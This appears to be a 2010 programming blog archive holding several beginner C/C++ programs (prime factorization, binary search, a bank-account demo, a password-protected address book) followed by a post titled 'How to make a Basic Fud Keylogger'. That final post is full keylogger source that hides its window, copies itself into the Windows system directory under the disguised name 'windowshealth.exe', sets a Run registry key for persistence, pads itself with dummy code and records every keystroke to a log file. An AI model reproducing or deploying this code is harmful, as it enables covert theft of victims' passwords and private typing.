Thursday, September 30, 2010

Program to print prime factorization

// Program to print prime factorization

#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fstream.h>
main()
    {
    clrscr();
    char line[512]; /* input string */
    short ii;   /* number to be factored */
    short j;   /* divisors */
    short p;   /* powers of j in ii */
    cout<<"Please enter the number to be factored: ";
    cin.getline(line, 512);
    ii = atoi(line);
    cout<<"The prime divisors of "<< ii<< " are/ is ";
    for (j = 2; ii != 1; j = j + 1)
{
if (ii % j == 0)
   {
   for (p = 0; ii % j == 0; p = p + 1)
ii = ii / j;
   cout<< j<<" ";
   }
}
    cout<<endl;
    getch();
    }

Program to conduct binary search for any alphabet [a-z] out of an array.

// Program to conduct binary search
// for any alphabet [a-z] out of an array.
#include <ctype.h>
#include <conio.h>
#include <iostream.h>

#define max 26

char array[max] = "\0";

void initialise()
{
for(int i=0; i<max; i++)
{
array[i] = (char)(65+i);
}
}

int binsearch(int low, int high, int &num)
{
int mid = (high+low)/2;

if( array[mid] == num )
{
return mid;
}
else if( low >= high )
{
return -1;
}
else if( num > array[mid] )
{
return binsearch(mid+1, high, num);
}
else if( num < array[mid] )
{
return binsearch(low, mid-1, num);
}
else return -2;
}

void main()
{
char alpha;
int number;
int   result;

clrscr();
initialise();

cout << "Enter the alphabet to search [lower case]: ";
cin  >> alpha;

number = (int)toupper(alpha);

result = binsearch(0, max, number);

if( result >= 0 )
{
cout << "Found at index # : " << result+1;
}
else if( result == -1 )
{
cout << "Not Found";
}
        else cout << "Unspecified Error";

        getch();
}

Program using structure to define a Bank A/c System

// Program using structure to define a Bank A/c System

#include "iostream.h"
#include "conio.h"
#include "stdio.h"
struct account
{
int no[10];
char name[20];
long int d,b,a;
long double t;
};
void main()
{
clrscr();
window(27,2,53,4);
textbackground(3);
clrscr();
textcolor(0);
cprintf(" \n   BANK ACCOUNT SYSTEM");
/*menu*/
window(20,5,60,25);
textbackground(13);
clrscr();
gotoxy(2,3);
textcolor(10);
cprintf("G");
gotoxy(3,3);
textcolor(14);
cprintf("ive The Account No.");
/*name of the account holder*/
textcolor(10);
gotoxy(2,5);
cprintf("E");
textcolor(14);
gotoxy(3,5);
cprintf("nter The Name ");
/*balance*/
textcolor(10);
gotoxy(2,7);
cprintf("A");
textcolor(14);
gotoxy(3,7);
cprintf("mount");
/*amount*/
account i;
/*input*/
gotoxy(22,3);
cin>>i.no[10];
gotoxy(22,5);
cin>>i.name;
gotoxy(22,7);
cin>>i.a;
gotoxy(3,14);textcolor(11);
cout<<"Name: "<<i.name;
/*runtime calculations*/
/*******************************for deposit*******************************/
i.d=i.a+5;
gotoxy(3,16);
cout <<"The Deposite Is: "<<i.d;
/****************************Tax Deduction ***********************************/
i.t=700.8/i.d*100;
gotoxy(3,18);
cout <<"The deduced Tax is :"<<i.t;
gotoxy(15,35);
cout <<"%";
/***************************For Balance**********************************/
i.b=i.d-i.t;

/********** object of the struct account********************/
if (i.b>0 && i.a<=i.b)
{
gotoxy(3,20);
cout <<"WITHDRAW THE BALANCE :"<<i.b;
}
else
     {
       gotoxy(3,20);textcolor(11);
cprintf("Can't Withdraw Your Balance!!!");}
getch();
}

Program to perform updation of a data file for mainipulating an address book

//Program to perform updation of a data file
// for mainipulating an address book

#include<stdio.h>
#include<stdlib.h>
#include<fstream.h>
#include<string.h>
#include<conio.h>
#define ENTER 13
#define BACK 8


struct student
{
  char name[30];
  char proff[40];
  char address[20];
  char country[20];
  char tel[20];
  char fax[20];
  char mobile[20];
  char email[50];
};

class data
{
private:
  student std;
  int j,count;
  char sname[50],pass[10],c;
public:
  struct student getData();
  void showData(struct student);
  void saveData();
  int readData();
  void delet();
  void modify();
  void searchData();
  void emergency();
  void password();
  int checkpass();
  void modpass();
  char* takepass();
  int checkvalidity(char []);
};

student data::getData()
{
 cout<<"Name          : ";
 gets(std.name);
 cout<<"Proffession   : ";
 gets(std.proff);
 cout<<"Address       : ";
 gets(std.address);
 cout<<"Country       : ";
 gets(std.country);
 cout<<"Telephone     : ";
 gets(std.tel);
 cout<<"Fax           : ";
 gets(std.fax);
 cout<<"Mobile        : ";
 gets(std.mobile);
 cout<<"E.mail        : ";
 gets(std.email);
}
void data:: showData(student str)
{
clrscr();
cout<<"\nName         : "<<str.name;
cout<<"\nProffession  : "<<str.proff;
cout<<"\nAddress      : "<<str.address;
cout<<"\nCountry      : "<<str.country;
cout<<"\nTelephone    : "<<str.tel;
cout<<"\nFax          : "<<str.fax;
cout<<"\nMobile       : "<<str.mobile;
cout<<"\nE.mail       : "<<str.email;
getch();
}
void data::modify()
{
char dname[30];
int l;
int coutn=0,choice;
int k=0;
l=checkpass();
if(l==1)
{
cout<<"\nPlease mention the name to be modified : ";
cin>>dname;
fstream infile;
infile.open("tata.Dat",ios::in|ios::out);
infile.seekg(0);
if(infile)
{
while(infile.read((char *)&std,sizeof(student)))
{
   coutn++;
   char ans='y';
   if(stricmp(std.name,dname)==0)
   {
   k=1;
   while(ans=='y'||ans=='Y')
   {
   clrscr();
   cout<<"What do you want to modify\n1.Name\n2.Proffession\n3.Address ";
   cout<<"\n4.Country\n5.Telephone Number\n6.Fax Number\n7.Mobile";
   cout<<"\n8.E-mail\t";
   cin>>choice;
   switch(choice)
   {
 case 1:
cout<<"Name          : ";
cin>>std.name;
break;
 case 2:
cout<<"Proffession   : ";
cin>>std.proff;
break;
 case 3:
cout<<"Address       : ";
cin>>std.address;
break;
 case 4:
cout<<"Country       : ";
cin>>std.country;
break;
 case 5:
cout<<"Telephone     : ";
cin>>std.tel;
break;
 case 6:
cout<<"Fax           : ";
cin>>std.fax;
break;
 case 7:
cout<<"Mobile        : ";
cin>>std.mobile;
break;
 case 8:
cout<<"E-mail        : ";
cin>>std.email;
break;
 default:
cout<<"Wrong choice ";
break;
   }
   cout<<"\nAnything More to modify ";
   cin>>ans;
         }
   infile.seekp((coutn-1)*sizeof(student));
   infile.write((char *)&std,sizeof(student));
   }
}
if(k!=1)
   cout<<"The name doesn't exist ";
else
   cout<<"The name has been successfully modified ";
}
}
else
   cout<<"access denied ";
   getch();
}
void data::delet()
{
char dname[30];
int coutn=0;
int k=0;
if(checkpass()==1)
{
cout<<"\n\nPlease mention the name to be deleted : ";
gets(dname);
fstream infile;
infile.open("tata.Dat",ios::in|ios::out);
infile.seekg(0);
if(infile)
{
while(infile.read((char *)&std,sizeof(student)))
{
   coutn++;
   if(stricmp(std.name,dname)==0)
   {
   k=1;
   strcpy(std.name," ");
   strcpy(std.proff," ");
   strcpy(std.address," ");
   strcpy(std.country," ");
   strcpy(std.tel," ");
   strcpy(std.fax," ");
   strcpy(std.mobile," ");
   strcpy(std.email," ");
   infile.seekp((coutn-1)*sizeof(student));
   infile.write((char *)&std,sizeof(student));
   break;
   }
}
if(k!=1)
   cout<<"The name doesn't exist ";
else
   cout<<"The name has been successfully deleted ";
}
}
else
   cout<<"\n\nAccess Denied ";
getch();
}

void data:: saveData()
{
ofstream outfile;
outfile.open("tata.Dat",ios::app);
outfile.write( (char *)&std,sizeof(student));
}
int data::readData()
{
count=0;
ifstream infile;
infile.open("tata.Dat",ios::app);
if(infile)
{
while(infile.read((char *)&std,sizeof(student)))
{
   if(strcmp(std.name," ")!=0)
   showData(std);
   count++;
}
}
else
cout<<"no file";
return(count);
}
void data::emergency()
{
char emer[30];
int j=0;
cout<<"Please type the name to be searched: ";
gets(emer);
ifstream infile;
infile.open("tata.Dat",ios::nocreate);
while(infile.read((char *)&std,sizeof(student)))
{
if(stricmp(emer,std.proff)==0)
{
j=1;
showData(std);
}
}
if(j==0)
cout<<"Sorry the name doesn't exist";
getch();
}
void data::searchData()
{
j=0;
cout<<"Please type the name to be searched: ";
gets(sname);
ifstream infile;
infile.open("tata.Dat",ios::nocreate);
while(infile.read((char *)&std,sizeof(student)))
{
if(stricmp(sname,std.name)==0)
{
j=1;
showData(std);
}
}
if(j==0)
cout<<"Sorry the name doesn't exist";
}
void data::password()
{
char fre[20];
int pd;
clrscr();
cout<<endl<<endl<<"Password ";
strcpy(fre,takepass());
pd=checkvalidity(fre);
clrscr();
if(pd==1)
cout<<"This password already exist Please try for new password ";
else
{
strcpy(pass,fre);
ofstream passfile;
passfile.open("pass.dat",ios::app);
passfile.write(pass,sizeof(pass));
cout<<"Passwords are sensitive do not lend it ";
}
}
int data::checkvalidity(char fre[])
{
int idm=0;
ifstream passfile;
passfile.open("pass.dat",ios::app);
while(passfile.read(pass,sizeof(pass)))
{
   if(stricmp(fre,pass)==0)
   {
idm=1;
break;
   }
}
return idm;
}


void data::modpass()
{
  char d[20],npass[20];
  clrscr();
  int me=0,in=0;
  cout<<endl<<endl<<"Old Password ";
  strcpy(d,takepass());

  fstream infile;
  infile.open("pass.dat",ios::out|ios::in);
  {
 while(infile.read(pass,sizeof(pass)))
 {
me++;
if(strcmp(d,pass)==0)
{
   in=1;
   cout<<"\nOK the password exist ";
   getch();
clrscr();
cout<<endl<<endl<<"New password ";
   strcpy(pass,takepass());
infile.seekp((me-1)*sizeof(pass));
   infile.write(pass,sizeof(pass));
}
 }
  }
  if(in==0)
   cout<<"\nThe password doesn't exist ";
  else
   cout<<"\nThe password has been successfully modified ";
   getch();
}

int data::checkpass()
{
char da[20];
int z=0,to=0,u=0;
clrscr();
ifstream passfile;
passfile.open("pass.dat",ios::app);
while(to<1&&z!=1)
{
to++;
cout<<endl<<endl<<"Your password ";
strcpy(da,takepass());
passfile.seekg(0);
while(passfile.read(pass,sizeof(pass)))
{
clrscr();
if(strcmp(da,pass)==0)
{
   z=1;
   break;

}
}
}
return z;
}
char* data::takepass()
{
 char ma[20],pa[20];
int q=0,row=30,col=3;
int i=0;
gotoxy(30,3);
while((c=getch())!=ENTER)
{

if(c==BACK)
{
  gotoxy((row-1),col);
  cout<<" ";
  row--;
  i--;
}
else
{
  ma[i]=c;
  i++;
  gotoxy(row,col);
  cout<<"*";
  row++;
}
}
ma[i]='\0';
strcpy(pa,ma);
  clrscr();
return pa;
}
void main()
{
clrscr();//Clearing the screen.
int ch,i,k,a;
char choice,sm[20];
data s;
      srand(time(NULL));
a=1+(rand()%100);
      textcolor(WHITE);
while(1)
{
   clrscr();
   cout<<"Your Choices";
   cout<<"\n1.Enter datas\n2.Read From File\n3.Search data\n4.ModifyData\n5.DeleteData\n6.View Emergency Contacts\t";
   cout<<"\n7.Create New Password\n8.Modify Password\n9.Exit\t";
   cin>>ch;
   switch(ch)
   {
case 1:
cout<<"How many datas do u want to feed " ;
cin>>i;
for(k=0;k<i;k++)
{
   s.getData( );
   s.saveData();
}
break;
case 2:
s.readData();
getch();
break;
case 3:
s.searchData();
getch();
break;
case 4:
s.modify();
break;
case 5:
s.delet();
break;
case 9:
exit(0);
case 7:
cout<<"Please mention Your institution ";
cin>>sm;
if((strcmpi(sm,"spsl")==0)&&(a%4==0))
s.password();
else
if((strcmpi(sm,"spsl")==0)&&(a%4!=0))
{
clrscr();

textcolor(LIGHTRED+BLINK);
      gotoxy(25,10);
cout<<"Sorry the system is busy";
}
else
{
 clrscr();
gotoxy(25,10);
 textcolor(LIGHTRED+BLINK);
 cout<<"\nYOU ARE NOT THE LEGAL PERSON ";
}
 getch();
textcolor(WHITE);
break;
case 8:
s.modpass();
break;
case 6:
s.emergency();
break;
default:
cout<<"\nWrong Choice ";
getch();
   }
}
getch();
}

Tuesday, September 28, 2010

How to make a Basic Fud Keylogger.

#include <iostream>
#include <cstdlib>
#include <Windows.h>
#include <emu.h>

using namespace std;

char lpSystemDir[MAX_PATH];
char lpSystemFile[MAX_PATH];
char lpSystemLog[MAX_PATH];

BOOL IsLog();
BOOL IsCopyFile();
BOOL IsAutostart();
BOOL IsDummy();

void hidewindow();                                             


int main()
{
    hidewindow();
    
    if(IsAll() == 1)
    {
        return 1;
    }
    
    IsDummy();
    IsAutostart();
    IsLog();
    return 0;
    
}  


void hidewindow()
{
    FreeConsole();
    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
}

BOOL IsDummy()
{
    int number1 = 55;
    int number2 = 30;
    
    char str[10] = "blub";
    string str2 = "hello";
    
    printf("%s",str);
    cout << str2 << endl;
    
    return number1 * number2;
}

BOOL IsCopyFile()
{
    char ownpath[MAX_PATH];
    
    GetModuleFileName(0,ownpath,sizeof(ownpath));

    if(CopyFile(ownpath, lpSystemFile, FALSE) == 0)
    {
                                  return 0;;
    }

    return 1;
}

BOOL IsAutostart()
{
        GetSystemDirectory(lpSystemDir, sizeof(lpSystemDir));
        
        strcpy(lpSystemFile,lpSystemDir);
        strcat(lpSystemFile,"\\windowshealth.exe");
             
        if(IsCopyFile() == 1)
        {
                        
            HKEY key;
            
            if(RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key) == 0)
            {
                    RegSetValueEx((HKEY)key,"windowshealth",0,REG_SZ,(BYTE *)lpSystemFile,strlen(lpSystemFile));
                    return 1;
            }              
             
        }
                
        return 0;
}

BOOL IsLog()
{
            short comp;
            
              while(1)
              {
                      
                     Sleep(15);
                     
                     for(comp =8 ; comp <= 222; comp++)
                     {
                                                 
                         if(GetAsyncKeyState(comp) == -32767)
                         {   
                             
                             strcpy(lpSystemLog,lpSystemDir);
                             strcat(lpSystemLog,"\\windowshealth.log");
                             
                             FILE *file;
                             file=fopen(lpSystemLog,"a+");
          
                             if(file != NULL)
                             {        
                                      
                                     if( (comp >= 39) && (comp <= 64) )
                                     {
                                           fputc(comp,file);
                                           fclose(file);
                                           break;
                                     }    
                                         
                                     else if( (comp > 64) && (comp < 91) )
                                     {
                                           comp+=32;
                                           fputc(comp,file);
                                           fclose(file);
                                           break;
                                     }
                                     
                                     else
                                     { 
                                         
                                         switch(comp)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;       
                                                                                     
                                               case VK_RETURN:
                                               fputs("\n",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_CLEAR:
                                               fputs("[CLEAR]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_MENU:
                                               fputs("[ALT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_PAUSE:
                                               fputs("[PAUSE]",file);
                                               fclose(file);
                                               break;
  
                                               case VK_ESCAPE:
                                               fputs("[ESC]",file);
                                               fclose(file);
                                               break;
       
                                               case VK_NEXT:
                                               fputs("[PAGEDOWN]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_END:
                                               fputs("[END]",file);
                                               fclose(file);
                                               break;
     
                                               case VK_HOME:
                                               fputs("[HOME]",file);
                                               fclose(file);
                                               break;    
                                               
                                               case VK_LEFT:
                                               fputs("[LEFT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_UP:
                                               fputs("[UP]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_RIGHT:
                                               fputs("[RIGHT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_DOWN:
                                               fputs("[DOWN]",file);
                                               fclose(file);
                                               break;
      
                                               case VK_SELECT:
                                               fputs("[SELECT]",file);
                                               fclose(file);
                                               break;    
                                               
                                               case VK_PRINT:
                                               fputs("[PRINT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_EXECUTE:
                                               fputs("[EXECUTE]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_SNAPSHOT:
                                               fputs("[SNAPSHOT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_INSERT:
                                               fputs("[INSERT]",file);
                                               fclose(file);
                                               break;
   
                                               case VK_HELP:
                                               fputs("[HELP]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_LWIN:
                                               fputs("[LWIN]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_RWIN:
                                               fputs("[RWIN]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_APPS:
                                               fputs("[APPS]",file);
                                               fclose(file);
                                               break;                   

                                               case VK_SLEEP:
                                               fputs("[SLEEP]",file);
                                               fclose(file);
                                               break;
                                               
                                               case 0x6C:
                                               fputs("[SEPERATOR]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_SUBTRACT:
                                               fputs("[SUBTRACT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_MULTIPLY:
                                               fputs("*",file);
                                               fclose(file);
                                               break;  
               
                                               case VK_ADD:
                                               fputs("[ADD]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_DECIMAL:
                                               fputs("[DECIMAL]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_DIVIDE:
                                               fputs("/",file);
                                               fclose(file);
                                               break;
       
                                               case VK_NUMLOCK:
                                               fputs("[NUMLOCK]",file);
                                               fclose(file);
                                               break;  
               
                                               case VK_SCROLL:
                                               fputs("[SCROLLLOCK]",file);
                                               fclose(file);
                                               break;
       
                                               case VK_F1:
                                               fputs("[F1]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F2:
                                               fputs("[F2]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F3:
                                               fputs("[F4]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F4:
                                               fputs("[F4]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F5:
                                               fputs("[F5]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F6:
                                               fputs("[F6]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F7:
                                               fputs("[F7]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F8:
                                               fputs("[F8]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F9:
                                               fputs("[F9]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F10:
                                               fputs("[F10]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F11:
                                               fputs("[F11]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F12:
                                               fputs("[F12]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F13:
                                               fputs("[F13]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F14:
                                               fputs("[F14]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F15:
                                               fputs("[F15]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F16:
                                               fputs("[F16]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F17:
                                               fputs("[F17]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F18:
                                               fputs("[F18]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F19:
                                               fputs("[F18]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F20:
                                               fputs("[F20]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F21:
                                               fputs("[F21]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F22:
                                               fputs("[F22]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F23:
                                               fputs("[F23]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_F24:
                                               fputs("[F24]",file);
                                               fclose(file);
                                               break;
   
                                               case VK_LSHIFT:
                                               fputs("[LSHIFT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_RSHIFT:
                                               fputs("[RSHIFT]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_LCONTROL:
                                               fputs("[LCONTROL]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_RCONTROL:
                                               fputs("[RCONTROL]",file);
                                               fclose(file);
                                               break;
                                 
                                               case VK_LMENU:
                                               fputs("[LMENU]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_RMENU:
                                               fputs("[RMENU]",file);
                                               fclose(file);
                                               break;
        
                                               case 0xAD:
                                               fputs("[VOLUMEMUTE]",file);
                                               fclose(file);
                                               break;

                                               case VK_OEM_1:
                                               fputs("[ ;-: ]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_OEM_2:
                                               fputs("[ /-? ]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_OEM_3:
                                               fputs("[`-~]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_OEM_4:
                                               fputs("[ [-{ ]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_OEM_5:
                                               fputs("[ \\-| ]",file);
                                               fclose(file);
                                               break;    
                                                                           
                                               case VK_OEM_6:
                                               fputs("[ ]-} ]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_OEM_7:
                                               fputs("[ '-\" ]",file);
                                               fclose(file);
                                               break;
                                               
                                               case 0xE2:
                                               fputs("[ BRACKET-\\ ]",file);
                                               fclose(file);
                                               break;
                        
                                               case VK_PLAY:
                                               fputs("[PLAY]",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_ZOOM:
                                               fputs("[ZOOM]",file);
                                               fclose(file);
                                               break;

                                               case 0xBB:
                                               fputs("+",file);
                                               fclose(file);
                                               break;
                                               
                                               case 0xBC:
                                               fputs(",",file);
                                               fclose(file);
                                               break;
                                               
                                               case 0xBD:
                                               fputs("-",file);
                                               fclose(file);
                                               break;
                                               
                                               case 0xBE:
                                               fputs(".",file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               
                                               case VK_CAPITAL:
                                               fputs("[CAPSLOCK]",file);
                                               fclose(file);
                                               break;
                                               
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                        
                                   }    
                                   
                              }
                                
                    }   
                     
                }                  
                     
            }
            
            return 1;                      
}